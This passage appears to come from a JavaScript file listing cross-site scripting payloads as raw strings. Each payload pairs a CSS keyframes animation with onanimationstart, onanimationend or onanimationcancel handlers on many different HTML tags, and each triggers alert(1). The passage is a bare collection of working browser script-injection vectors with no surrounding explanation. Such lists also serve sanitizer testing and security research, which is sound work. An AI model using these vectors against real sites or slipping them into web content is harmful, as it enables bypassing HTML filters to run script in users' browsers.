  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><menuitem id=x style="position:absolute;" onanimationcancel="alert(1)"></menuitem>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><meta id=x style="position:absolute;" onanimationcancel="alert(1)"></meta>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><meter id=x style="position:absolute;" onanimationcancel="alert(1)"></meter>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><multicol id=x style="position:absolute;" onanimationcancel="alert(1)"></multicol>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nav id=x style="position:absolute;" onanimationcancel="alert(1)"></nav>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nextid id=x style="position:absolute;" onanimationcancel="alert(1)"></nextid>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><nobr id=x style="position:absolute;" onanimationcancel="alert(1)"></nobr>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noembed id=x style="position:absolute;" onanimationcancel="alert(1)"></noembed>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noframes id=x style="position:absolute;" onanimationcancel="alert(1)"></noframes>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><noscript id=x style="position:absolute;" onanimationcancel="alert(1)"></noscript>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><object id=x style="position:absolute;" onanimationcancel="alert(1)"></object>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ol id=x style="position:absolute;" onanimationcancel="alert(1)"></ol>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><optgroup id=x style="position:absolute;" onanimationcancel="alert(1)"></optgroup>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><option id=x style="position:absolute;" onanimationcancel="alert(1)"></option>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><output id=x style="position:absolute;" onanimationcancel="alert(1)"></output>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><p id=x style="position:absolute;" onanimationcancel="alert(1)"></p>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><param id=x style="position:absolute;" onanimationcancel="alert(1)"></param>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><picture id=x style="position:absolute;" onanimationcancel="alert(1)"></picture>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><plaintext id=x style="position:absolute;" onanimationcancel="alert(1)"></plaintext>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><pre id=x style="position:absolute;" onanimationcancel="alert(1)"></pre>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><progress id=x style="position:absolute;" onanimationcancel="alert(1)"></progress>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><q id=x style="position:absolute;" onanimationcancel="alert(1)"></q>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rb id=x style="position:absolute;" onanimationcancel="alert(1)"></rb>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rp id=x style="position:absolute;" onanimationcancel="alert(1)"></rp>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rt id=x style="position:absolute;" onanimationcancel="alert(1)"></rt>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><rtc id=x style="position:absolute;" onanimationcancel="alert(1)"></rtc>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ruby id=x style="position:absolute;" onanimationcancel="alert(1)"></ruby>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><s id=x style="position:absolute;" onanimationcancel="alert(1)"></s>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><samp id=x style="position:absolute;" onanimationcancel="alert(1)"></samp>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><script id=x style="position:absolute;" onanimationcancel="alert(1)"></script>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><section id=x style="position:absolute;" onanimationcancel="alert(1)"></section>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><select id=x style="position:absolute;" onanimationcancel="alert(1)"></select>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><shadow id=x style="position:absolute;" onanimationcancel="alert(1)"></shadow>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><slot id=x style="position:absolute;" onanimationcancel="alert(1)"></slot>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><small id=x style="position:absolute;" onanimationcancel="alert(1)"></small>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><source id=x style="position:absolute;" onanimationcancel="alert(1)"></source>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><spacer id=x style="position:absolute;" onanimationcancel="alert(1)"></spacer>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><span id=x style="position:absolute;" onanimationcancel="alert(1)"></span>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><strike id=x style="position:absolute;" onanimationcancel="alert(1)"></strike>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><strong id=x style="position:absolute;" onanimationcancel="alert(1)"></strong>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><style id=x style="position:absolute;" onanimationcancel="alert(1)"></style>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><sub id=x style="position:absolute;" onanimationcancel="alert(1)"></sub>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><summary id=x style="position:absolute;" onanimationcancel="alert(1)"></summary>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><sup id=x style="position:absolute;" onanimationcancel="alert(1)"></sup>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><svg id=x style="position:absolute;" onanimationcancel="alert(1)"></svg>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><table id=x style="position:absolute;" onanimationcancel="alert(1)"></table>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tbody id=x style="position:absolute;" onanimationcancel="alert(1)"></tbody>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><td id=x style="position:absolute;" onanimationcancel="alert(1)"></td>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><template id=x style="position:absolute;" onanimationcancel="alert(1)"></template>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><textarea id=x style="position:absolute;" onanimationcancel="alert(1)"></textarea>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tfoot id=x style="position:absolute;" onanimationcancel="alert(1)"></tfoot>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><th id=x style="position:absolute;" onanimationcancel="alert(1)"></th>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><thead id=x style="position:absolute;" onanimationcancel="alert(1)"></thead>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><time id=x style="position:absolute;" onanimationcancel="alert(1)"></time>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><title id=x style="position:absolute;" onanimationcancel="alert(1)"></title>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tr id=x style="position:absolute;" onanimationcancel="alert(1)"></tr>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><track id=x style="position:absolute;" onanimationcancel="alert(1)"></track>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tt id=x style="position:absolute;" onanimationcancel="alert(1)"></tt>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><u id=x style="position:absolute;" onanimationcancel="alert(1)"></u>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ul id=x style="position:absolute;" onanimationcancel="alert(1)"></ul>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><var id=x style="position:absolute;" onanimationcancel="alert(1)"></var>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><video id=x style="position:absolute;" onanimationcancel="alert(1)"></video>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><wbr id=x style="position:absolute;" onanimationcancel="alert(1)"></wbr>`,
  String.raw`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xmp id=x style="position:absolute;" onanimationcancel="alert(1)"></xmp>`,
  String.raw`<style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(1)"></a>`,
  String.raw`<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a>`,
  String.raw`<style>@keyframes x{}</style><abbr style="animation-name:x" onanimationend="alert(1)"></abbr>`,
  String.raw`<style>@keyframes x{}</style><abbr style="animation-name:x" onanimationstart="alert(1)"></abbr>`,
  String.raw`<style>@keyframes x{}</style><acronym style="animation-name:x" onanimationend="alert(1)"></acronym>`,
  String.raw`<style>@keyframes x{}</style><acronym style="animation-name:x" onanimationstart="alert(1)"></acronym>`,
  String.raw`<style>@keyframes x{}</style><address style="animation-name:x" onanimationend="alert(1)"></address>`,
  String.raw`<style>@keyframes x{}</style><address style="animation-name:x" onanimationstart="alert(1)"></address>`,
  String.raw`<style>@keyframes x{}</style><applet style="animation-name:x" onanimationend="alert(1)"></applet>`,
  String.raw`<style>@keyframes x{}</style><applet style="animation-name:x" onanimationstart="alert(1)"></applet>`,
  String.raw`<style>@keyframes x{}</style><area style="animation-name:x" onanimationend="alert(1)"></area>`,
  String.raw`<style>@keyframes x{}</style><area style="animation-name:x" onanimationstart="alert(1)"></area>`,
  String.raw`<style>@keyframes x{}</style><article style="animation-name:x" onanimationend="alert(1)"></article>`,
  String.raw`<style>@keyframes x{}</style><article style="animation-name:x" onanimationstart="alert(1)"></article>`,
  String.raw`<style>@keyframes x{}</style><aside style="animation-name:x" onanimationend="alert(1)"></aside>`,
  String.raw`<style>@keyframes x{}</style><aside style="animation-name:x" onanimationstart="alert(1)"></aside>`,
  String.raw`<style>@keyframes x{}</style><audio style="animation-name:x" onanimationend="alert(1)"></audio>`,
  String.raw`<style>@keyframes x{}</style><audio style="animation-name:x" onanimationstart="alert(1)"></audio>`,
  String.raw`<style>@keyframes x{}</style><b style="animation-name:x" onanimationend="alert(1)"></b>`,
  String.raw`<style>@keyframes x{}</style><b style="animation-name:x" onanimationstart="alert(1)"></b>`,
  String.raw`<style>@keyframes x{}</style><base style="animation-name:x" onanimationend="alert(1)"></base>`,
  String.raw`<style>@keyframes x{}</style><base style="animation-name:x" onanimationstart="alert(1)"></base>`,
  String.raw`<style>@keyframes x{}</style><basefont style="animation-name:x" onanimationend="alert(1)"></basefont>`,
  String.raw`<style>@keyframes x{}</style><basefont style="animation-name:x" onanimationstart="alert(1)"></basefont>`,
  String.raw`<style>@keyframes x{}</style><bdi style="animation-name:x" onanimationend="alert(1)"></bdi>`,
  String.raw`<style>@keyframes x{}</style><bdi style="animation-name:x" onanimationstart="alert(1)"></bdi>`,
  String.raw`<style>@keyframes x{}</style><bdo style="animation-name:x" onanimationend="alert(1)"></bdo>`,
  String.raw`<style>@keyframes x{}</style><bdo style="animation-name:x" onanimationstart="alert(1)"></bdo>`,
  String.raw`<style>@keyframes x{}</style><bgsound style="animation-name:x" onanimationend="alert(1)"></bgsound>`,
  String.raw`<style>@keyframes x{}</style><bgsound style="animation-name:x" onanimationstart="alert(1)"></bgsound>`,
  String.raw`<style>@keyframes x{}</style><big style="animation-name:x" onanimationend="alert(1)"></big>`,
  String.raw`<style>@keyframes x{}</style><big style="animation-name:x" onanimationstart="alert(1)"></big>`,
  String.raw`<style>@keyframes x{}</style><blink style="animation-name:x" onanimationend="alert(1)"></blink>`,
  String.raw`<style>@keyframes x{}</style><blink style="animation-name:x" onanimationstart="alert(1)"></blink>`,
  String.raw`<style>@keyframes x{}</style><blockquote style="animation-name:x" onanimationend="alert(1)"></blockquote>`,
  String.raw`<style>@keyframes x{}</style><blockquote style="animation-name:x" onanimationstart="alert(1)"></blockquote>`,
  String.raw`<style>@keyframes x{}</style><body style="animation-name:x" onanimationend="alert(1)"></body>`,
  String.raw`<style>@keyframes x{}</style><body style="animation-name:x" onanimationstart="alert(1)"></body>`,
  String.raw`<style>@keyframes x{}</style><br style="animation-name:x" onanimationend="alert(1)"></br>`,
  String.raw`<style>@keyframes x{}</style><br style="animation-name:x" onanimationstart="alert(1)"></br>`,
  String.raw`<style>@keyframes x{}</style><button style="animation-name:x" onanimationend="alert(1)"></button>`,
  String.raw`<style>@keyframes x{}</style><button style="animation-name:x" onanimationstart="alert(1)"></button>`,
  String.raw`<style>@keyframes x{}</style><canvas style="animation-name:x" onanimationend="alert(1)"></canvas>`,
  String.raw`<style>@keyframes x{}</style><canvas style="animation-name:x" onanimationstart="alert(1)"></canvas>`,
  String.raw`<style>@keyframes x{}</style><caption style="animation-name:x" onanimationend="alert(1)"></caption>`,
  String.raw`<style>@keyframes x{}</style><caption style="animation-name:x" onanimationstart="alert(1)"></caption>`,
  String.raw`<style>@keyframes x{}</style><center style="animation-name:x" onanimationend="alert(1)"></center>`,
  String.raw`<style>@keyframes x{}</style><center style="animation-name:x" onanimationstart="alert(1)"></center>`,
  String.raw`<style>@keyframes x{}</style><cite style="animation-name:x" onanimationend="alert(1)"></cite>`,
  String.raw`<style>@keyframes x{}</style><cite style="animation-name:x" onanimationstart="alert(1)"></cite>`,
  String.raw`<style>@keyframes x{}</style><code style="animation-name:x" onanimationend="alert(1)"></code>`,
  String.raw`<style>@keyframes x{}</style><code style="animation-name:x" onanimationstart="alert(1)"></code>`,
  String.raw`<style>@keyframes x{}</style><col style="animation-name:x" onanimationend="alert(1)"></col>`,
  String.raw`<style>@keyframes x{}</style><col style="animation-name:x" onanimationstart="alert(1)"></col>`,
  String.raw`<style>@keyframes x{}</style><colgroup style="animation-name:x" onanimationend="alert(1)"></colgroup>`,
  String.raw`<style>@keyframes x{}</style><colgroup style="animation-name:x" onanimationstart="alert(1)"></colgroup>`,
  String.raw`<style>@keyframes x{}</style><command style="animation-name:x" onanimationend="alert(1)"></command>`,
  String.raw`<style>@keyframes x{}</style><command style="animation-name:x" onanimationstart="alert(1)"></command>`,
  String.raw`<style>@keyframes x{}</style><content style="animation-name:x" onanimationend="alert(1)"></content>`,
  String.raw`<style>@keyframes x{}</style><content style="animation-name:x" onanimationstart="alert(1)"></content>`,
  String.raw`<style>@keyframes x{}</style><data style="animation-name:x" onanimationend="alert(1)"></data>`,
  String.raw`<style>@keyframes x{}</style><data style="animation-name:x" onanimationstart="alert(1)"></data>`,
  String.raw`<style>@keyframes x{}</style><datalist style="animation-name:x" onanimationend="alert(1)"></datalist>`,
  String.raw`<style>@keyframes x{}</style><datalist style="animation-name:x" onanimationstart="alert(1)"></datalist>`,
  String.raw`<style>@keyframes x{}</style><dd style="animation-name:x" onanimationend="alert(1)"></dd>`,
  String.raw`<style>@keyframes x{}</style><dd style="animation-name:x" onanimationstart="alert(1)"></dd>`,
  String.raw`<style>@keyframes x{}</style><del style="animation-name:x" onanimationend="alert(1)"></del>`,
  String.raw`<style>@keyframes x{}</style><del style="animation-name:x" onanimationstart="alert(1)"></del>`,
  String.raw`<style>@keyframes x{}</style><details style="animation-name:x" onanimationend="alert(1)"></details>`,
  String.raw`<style>@keyframes x{}</style><details style="animation-name:x" onanimationstart="alert(1)"></details>`,
  String.raw`<style>@keyframes x{}</style><dfn style="animation-name:x" onanimationend="alert(1)"></dfn>`,
  String.raw`<style>@keyframes x{}</style><dfn style="animation-name:x" onanimationstart="alert(1)"></dfn>`,
  String.raw`<style>@keyframes x{}</style><dialog style="animation-name:x" onanimationend="alert(1)"></dialog>`,
  String.raw`<style>@keyframes x{}</style><dialog style="animation-name:x" onanimationstart="alert(1)"></dialog>`,
  String.raw`<style>@keyframes x{}</style><dir style="animation-name:x" onanimationend="alert(1)"></dir>`,
  String.raw`<style>@keyframes x{}</style><dir style="animation-name:x" onanimationstart="alert(1)"></dir>`,
  String.raw`<style>@keyframes x{}</style><div style="animation-name:x" onanimationend="alert(1)"></div>`,
  String.raw`<style>@keyframes x{}</style><div style="animation-name:x" onanimationstart="alert(1)"></div>`,
  String.raw`<style>@keyframes x{}</style><dl style="animation-name:x" onanimationend="alert(1)"></dl>`,
  String.raw`<style>@keyframes x{}</style><dl style="animation-name:x" onanimationstart="alert(1)"></dl>`,
  String.raw`<style>@keyframes x{}</style><dt style="animation-name:x" onanimationend="alert(1)"></dt>`,
  String.raw`<style>@keyframes x{}</style><dt style="animation-name:x" onanimationstart="alert(1)"></dt>`,
  String.raw`<style>@keyframes x{}</style><element style="animation-name:x" onanimationend="alert(1)"></element>`,
  String.raw`<style>@keyframes x{}</style><element style="animation-name:x" onanimationstart="alert(1)"></element>`,
  String.raw`<style>@keyframes x{}</style><em style="animation-name:x" onanimationend="alert(1)"></em>`,
  String.raw`<style>@keyframes x{}</style><em style="animation-name:x" onanimationstart="alert(1)"></em>`,
  String.raw`<style>@keyframes x{}</style><embed style="animation-name:x" onanimationend="alert(1)"></embed>`,
  String.raw`<style>@keyframes x{}</style><embed style="animation-name:x" onanimationstart="alert(1)"></embed>`,
  String.raw`<style>@keyframes x{}</style><fieldset style="animation-name:x" onanimationend="alert(1)"></fieldset>`,
  String.raw`<style>@keyframes x{}</style><fieldset style="animation-name:x" onanimationstart="alert(1)"></fieldset>`,
  String.raw`<style>@keyframes x{}</style><figcaption style="animation-name:x" onanimationend="alert(1)"></figcaption>`,
  String.raw`<style>@keyframes x{}</style><figcaption style="animation-name:x" onanimationstart="alert(1)"></figcaption>`,
  String.raw`<style>@keyframes x{}</style><figure style="animation-name:x" onanimationend="alert(1)"></figure>`,
  String.raw`<style>@keyframes x{}</style><figure style="animation-name:x" onanimationstart="alert(1)"></figure>`,
  String.raw`<style>@keyframes x{}</style><font style="animation-name:x" onanimationend="alert(1)"></font>`,
  String.raw`<style>@keyframes x{}</style><font style="animation-name:x" onanimationstart="alert(1)"></font>`,
  String.raw`<style>@keyframes x{}</style><footer style="animation-name:x" onanimationend="alert(1)"></footer>`,
  String.raw`<style>@keyframes x{}</style><footer style="animation-name:x" onanimationstart="alert(1)"></footer>`,
  String.raw`<style>@keyframes x{}</style><form style="animation-name:x" onanimationend="alert(1)"></form>`,
  String.raw`<style>@keyframes x{}</style><form style="animation-name:x" onanimationstart="alert(1)"></form>`,
  String.raw`<style>@keyframes x{}</style><frame style="animation-name:x" onanimationend="alert(1)"></frame>`,
  String.raw`<style>@keyframes x{}</style><frame style="animation-name:x" onanimationstart="alert(1)"></frame>`,
  String.raw`<style>@keyframes x{}</style><frameset style="animation-name:x" onanimationend="alert(1)"></frameset>`,
  String.raw`<style>@keyframes x{}</style><frameset style="animation-name:x" onanimationstart="alert(1)"></frameset>`,
  String.raw`<style>@keyframes x{}</style><h1 style="animation-name:x" onanimationend="alert(1)"></h1>`,
  String.raw`<style>@keyframes x{}</style><h1 style="animation-name:x" onanimationstart="alert(1)"></h1>`,
  String.raw`<style>@keyframes x{}</style><head style="animation-name:x" onanimationend="alert(1)"></head>`,
  String.raw`<style>@keyframes x{}</style><head style="animation-name:x" onanimationstart="alert(1)"></head>`,
  String.raw`<style>@keyframes x{}</style><header style="animation-name:x" onanimationend="alert(1)"></header>`,
  String.raw`<style>@keyframes x{}</style><header style="animation-name:x" onanimationstart="alert(1)"></header>`,
  String.raw`<style>@keyframes x{}</style><hgroup style="animation-name:x" onanimationend="alert(1)"></hgroup>`,
  String.raw`<style>@keyframes x{}</style><hgroup style="animation-name:x" onanimationstart="alert(1)"></hgroup>`,
  String.raw`<style>@keyframes x{}</style><hr style="animation-name:x" onanimationend="alert(1)"></hr>`,
  String.raw`<style>@keyframes x{}</style><hr style="animation-name:x" onanimationstart="alert(1)"></hr>`,
  String.raw`<style>@keyframes x{}</style><html style="animation-name:x" onanimationend="alert(1)"></html>`,
  String.raw`<style>@keyframes x{}</style><html style="animation-name:x" onanimationstart="alert(1)"></html>`,
  String.raw`<style>@keyframes x{}</style><i style="animation-name:x" onanimationend="alert(1)"></i>`,
  String.raw`<style>@keyframes x{}</style><i style="animation-name:x" onanimationstart="alert(1)"></i>`,
  String.raw`<style>@keyframes x{}</style><iframe style="animation-name:x" onanimationend="alert(1)"></iframe>`,
  String.raw`<style>@keyframes x{}</style><iframe style="animation-name:x" onanimationstart="alert(1)"></iframe>`,
  String.raw`<style>@keyframes x{}</style><image style="animation-name:x" onanimationend="alert(1)"></image>`,
  String.raw`<style>@keyframes x{}</style><image style="animation-name:x" onanimationstart="alert(1)"></image>`,
  String.raw`<style>@keyframes x{}</style><img style="animation-name:x" onanimationend="alert(1)"></img>`,
  String.raw`<style>@keyframes x{}</style><img style="animation-name:x" onanimationstart="alert(1)"></img>`,
  String.raw`<style>@keyframes x{}</style><input style="animation-name:x" onanimationend="alert(1)"></input>`,
  String.raw`<style>@keyframes x{}</style><input style="animation-name:x" onanimationstart="alert(1)"></input>`,
  String.raw`<style>@keyframes x{}</style><ins style="animation-name:x" onanimationend="alert(1)"></ins>`,
  String.raw`<style>@keyframes x{}</style><ins style="animation-name:x" onanimationstart="alert(1)"></ins>`,
  String.raw`<style>@keyframes x{}</style><isindex style="animation-name:x" onanimationend="alert(1)"></isindex>`,
  String.raw`<style>@keyframes x{}</style><isindex style="animation-name:x" onanimationstart="alert(1)"></isindex>`,
  String.raw`<style>@keyframes x{}</style><kbd style="animation-name:x" onanimationend="alert(1)"></kbd>`,
  String.raw`<style>@keyframes x{}</style><kbd style="animation-name:x" onanimationstart="alert(1)"></kbd>`,
  String.raw`<style>@keyframes x{}</style><keygen style="animation-name:x" onanimationend="alert(1)"></keygen>`,
  String.raw`<style>@keyframes x{}</style><keygen style="animation-name:x" onanimationstart="alert(1)"></keygen>`,
  String.raw`<style>@keyframes x{}</style><label style="animation-name:x" onanimationend="alert(1)"></label>`,
  String.raw`<style>@keyframes x{}</style><label style="animation-name:x" onanimationstart="alert(1)"></label>`,
  String.raw`<style>@keyframes x{}</style><legend style="animation-name:x" onanimationend="alert(1)"></legend>`,
  String.raw`<style>@keyframes x{}</style><legend style="animation-name:x" onanimationstart="alert(1)"></legend>`,
  String.raw`<style>@keyframes x{}</style><li style="animation-name:x" onanimationend="alert(1)"></li>`,
  String.raw`<style>@keyframes x{}</style><li style="animation-name:x" onanimationstart="alert(1)"></li>`,
  String.raw`<style>@keyframes x{}</style><link style="animation-name:x" onanimationend="alert(1)"></link>`,
  String.raw`<style>@keyframes x{}</style><link style="animation-name:x" onanimationstart="alert(1)"></link>`,
  String.raw`<style>@keyframes x{}</style><listing style="animation-name:x" onanimationend="alert(1)"></listing>`,
  String.raw`<style>@keyframes x{}</style><listing style="animation-name:x" onanimationstart="alert(1)"></listing>`,
  String.raw`<style>@keyframes x{}</style><main style="animation-name:x" onanimationend="alert(1)"></main>`,
  String.raw`<style>@keyframes x{}</style><main style="animation-name:x" onanimationstart="alert(1)"></main>`,
  String.raw`<style>@keyframes x{}</style><map style="animation-name:x" onanimationend="alert(1)"></map>`,
  String.raw`<style>@keyframes x{}</style><map style="animation-name:x" onanimationstart="alert(1)"></map>`,
  String.raw`<style>@keyframes x{}</style><mark style="animation-name:x" onanimationend="alert(1)"></mark>`,
  String.raw`<style>@keyframes x{}</style><mark style="animation-name:x" onanimationstart="alert(1)"></mark>`,
  String.raw`<style>@keyframes x{}</style><marquee style="animation-name:x" onanimationend="alert(1)"></marquee>`,
  String.raw`<style>@keyframes x{}</style><marquee style="animation-name:x" onanimationstart="alert(1)"></marquee>`,
  String.raw`<style>@keyframes x{}</style><menu style="animation-name:x" onanimationend="alert(1)"></menu>`,
  String.raw`<style>@keyframes x{}</style><menu style="animation-name:x" onanimationstart="alert(1)"></menu>`,
  String.raw`<style>@keyframes x{}</style><menuitem style="animation-name:x" onanimationend="alert(1)"></menuitem>`,
  String.raw`<style>@keyframes x{}</style><menuitem style="animation-name:x" onanimationstart="alert(1)"></menuitem>`,
  String.raw`<style>@keyframes x{}</style><meta style="animation-name:x" onanimationend="alert(1)"></meta>`,
  String.raw`<style>@keyframes x{}</style><meta style="animation-name:x" onanimationstart="alert(1)"></meta>`,
  String.raw`<style>@keyframes x{}</style><meter style="animation-name:x" onanimationend="alert(1)"></meter>`,
  String.raw`<style>@keyframes x{}</style><meter style="animation-name:x" onanimationstart="alert(1)"></meter>`,
  String.raw`<style>@keyframes x{}</style><multicol style="animation-name:x" onanimationend="alert(1)"></multicol>`,
  String.raw`<style>@keyframes x{}</style><multicol style="animation-name:x" onanimationstart="alert(1)"></multicol>`,
  String.raw`<style>@keyframes x{}</style><nav style="animation-name:x" onanimationend="alert(1)"></nav>`,
  String.raw`<style>@keyframes x{}</style><nav style="animation-name:x" onanimationstart="alert(1)"></nav>`,
  String.raw`<style>@keyframes x{}</style><nextid style="animation-name:x" onanimationend="alert(1)"></nextid>`,
  String.raw`<style>@keyframes x{}</style><nextid style="animation-name:x" onanimationstart="alert(1)"></nextid>`,
  String.raw`<style>@keyframes x{}</style><nobr style="animation-name:x" onanimationend="alert(1)"></nobr>`,
  String.raw`<style>@keyframes x{}</style><nobr style="animation-name:x" onanimationstart="alert(1)"></nobr>`,
  String.raw`<style>@keyframes x{}</style><noembed style="animation-name:x" onanimationend="alert(1)"></noembed>`,
  String.raw`<style>@keyframes x{}</style><noembed style="animation-name:x" onanimationstart="alert(1)"></noembed>`,
  String.raw`<style>@keyframes x{}</style><noframes style="animation-name:x" onanimationend="alert(1)"></noframes>`,
  String.raw`<style>@keyframes x{}</style><noframes style="animation-name:x" onanimationstart="alert(1)"></noframes>`,
  String.raw`<style>@keyframes x{}</style><noscript style="animation-name:x" onanimationend="alert(1)"></noscript>`,
  String.raw`<style>@keyframes x{}</style><noscript style="animation-name:x" onanimationstart="alert(1)"></noscript>`,
  String.raw`<style>@keyframes x{}</style><object style="animation-name:x" onanimationend="alert(1)"></object>`,
  String.raw`<style>@keyframes x{}</style><object style="animation-name:x" onanimationstart="alert(1)"></object>`,
